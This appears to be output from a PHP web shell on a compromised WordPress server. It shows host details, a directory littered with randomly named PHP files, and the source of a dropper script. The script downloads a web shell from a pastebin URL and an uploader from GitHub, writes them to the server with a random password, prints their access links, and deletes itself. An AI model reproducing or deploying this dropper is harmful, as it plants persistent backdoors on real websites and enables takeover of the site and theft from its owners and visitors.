Gecko [ sacpinlaptop.com ]

Linux gir02.nhanhoa.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC 2023 x86_64
LiteSpeed
Server IP : 103.124.95.33 & Your IP : 216.73.217.104
Domains : Cant Read [ /etc/named.conf ]
User : nhsacmvr

Name	Size	Permission	Date
.htaccess	519 B	-r-xr-xr-x	2026-09-24 02:24
GZksaRQasQ.php	89.06 KB	-rw-r--r--	2026-07-25 02:22
btitbmbcbu.php	2.06 KB	-rw-r--r--	2026-09-24 02:24
custom-html-widgets.js	15.39 KB	-rw-r--r--	2026-09-19 17:17
custom-html-widgets.min.js	5.45 KB	-rw-r--r--	2026-09-19 17:17
hxxhglednm.php	1.5 KB	-rw-r--r--	2026-09-24 02:24
media-audio-widget.js	4.18 KB	-rw-r--r--	2026-09-19 17:17
media-audio-widget.min.js	1.41 KB	-rw-r--r--	2026-09-19 17:17
media-gallery-widget.js	10.11 KB	-rw-r--r--	2026-09-19 17:17
media-gallery-widget.min.js	3.68 KB	-rw-r--r--	2026-09-19 17:17
media-image-widget.js	5.34 KB	-rw-r--r--	2026-09-19 17:17
media-image-widget.min.js	1.98 KB	-rw-r--r--	2026-09-19 17:17
media-video-widget.js	6.86 KB	-rw-r--r--	2026-09-19 17:17
media-video-widget.min.js	2.64 KB	-rw-r--r--	2026-09-19 17:17
media-widgets.js	41.86 KB	-rw-r--r--	2026-09-19 17:17
media-widgets.min.js	13.91 KB	-rw-r--r--	2026-09-19 17:17
mhmdugjvdm.php	2.06 KB	-rw-r--r--	2026-09-24 02:24
nzeogqwvth.php	2.06 KB	-rw-r--r--	2026-09-24 02:24
oemvhrsxrl.php	2.06 KB	-rw-r--r--	2026-09-24 02:24
text-widgets.js	17.63 KB	-rw-r--r--	2026-09-19 17:17
text-widgets.min.js	5.72 KB	-rw-r--r--	2026-09-19 17:17
yihrlpxgdc.php	1.5 KB	-rw-r--r--	2026-09-24 02:24

Rename

<?php
# 383634
$shell=curl('https://pastebin.com/raw/NYwj9nzX');
$link = str_replace(basename(__FILE__),'','http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);
$file1=mt_rand_str(6).".php";
$file2=mt_rand_str(5).".php";
$password=mt_rand_str(4);
$save=fopen($file1,'w');fwrite($save,$shell);fclose($save);$uploader=curl('https://raw.githubusercontent.com/spacebin-org/Casper/main/up.txt'); $uploader=str_replace('BIBIL',$password,$uploader); $save=fopen($file2,'w');fwrite($save,$uploader);fclose($save);
function mt_rand_str ($l, $c = 'abcdefghijklmnopqrstuvwxyz1234567890') {
 for ($s = '', $cl = strlen($c)-1, $i = 0; $i < $l; $s .= $c[mt_rand(0, $cl)], ++$i);
 return $s;
}
function curl($url) { $html=file_get_contents($url); if(!empty($html)){ return $html;}
 $curl = curl_init(); curl_setopt($curl, CURLOPT_TIMEOUT, 40); curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE); if (stristr($url,"https://")) { curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); } curl_setopt($curl, CURLOPT_HEADER, false); return curl_exec ($curl); }
?>
<shell><center> Shell : <?php echo $link.$file1;?></center> </shell><up><center> Up : <?php echo $link.$file2.'?Casper='.$password;?></center> </up><?php unlink(__FILE__); ?>